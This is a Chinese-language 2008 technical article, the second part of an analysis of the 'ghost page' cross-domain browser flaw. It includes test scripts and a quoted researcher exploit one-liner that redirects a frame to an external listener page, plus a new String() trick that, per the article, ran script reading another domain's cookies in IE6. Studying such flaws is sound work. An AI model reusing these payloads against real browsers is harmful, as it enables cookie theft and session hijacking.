揭密鬼页 浅析浏览器跨域安全问题(2)
来源:IT 专家网 时间:2008-10-07 18:11:00
3.域与域之间的牵绊
如果父页让子页访问某个域后,再执行伪协议会有什么效果?
用各个浏览器浏览 http://127.0.0.1/test3.htm,下面是test3.htm的脚本内容:
<script>
x=window.open('about:blank');
x.location="http://www.163.com"
setTimeout(function(){
x.location="javascript:alert(document.cookie)";
},5000)
</script>
结果:
IE6:没有反应。
IE7:报错,拒绝访问。
Firefox:报错,alert没有定义。
这些信息明显的说明,如果子页和父页不在同一个域里,浏览器是不允许父页控制子页执行伪协议脚本的。
为了进一步验证,我们让子页打开同一个域里的页面测试:
用各个浏览器浏览 http://127.0.0.1/test4.htm,下面是test4.htm的脚本内容:
<script>
document.cookie='xss:true' //给本域设置一个COOKIE为xss:true
x=window.open('about:blank');
x.location="http://127.0.0.1"
setTimeout(function(){
x.location="javascript:alert(document.cookie)";
},5000)
</script>
结果IE6、IE7、Firefox都顺利的弹出了COOKIE值,说明如果子页和父页在同一个域里,浏览器是允许父页控制子页执行伪协议脚本的。
4.安全上的差异
父页和子页这种微妙的关系,到这里就开始引发安全问题了,安全研究人员在分析鬼页的时,给出了EXP:
javascript:x=open('http://hackademix.net/');setInterval(function(){try{x.frames[0].location={toString:function(){return 'http://www.sirdarckcat.net/caballero-listener.html';}}}catch(e){}},5000);void(1);
EXP按上面三部分的概念解释是:
父页是A域,父页指定子页访问B域内一个带框架的页面,父页就能够控制B域页面内框架的URL地址,这个就是典型的跨域操作了。
鬼页能够跨域操作框架的关键是window.frames[0]方法没有受到域的限制,第二个是让location指定的地址看起来像个对象而不是参数。
我们按照鬼页的思路,继续在第3部分的基础上测试下去,将location指定的地址使用new String()对象处理。
用各个浏览器浏览 http://127.0.0.1/test5.htm,下面是test5.htm的脚本内容:
<script>
x=window.open('about:blank');
x.location="http://www.163.com";
setTimeout(function(){
x.location=new String("javascript:alert(document.cookie)")
},5000)
</script>
IE6:弹出COOKIE。
IE7:报错,拒绝访问。
Firefox:报错,alert没有定义。
结果是IE6奇迹般的弹出了COOKIE,我们做到了跨域执行脚本。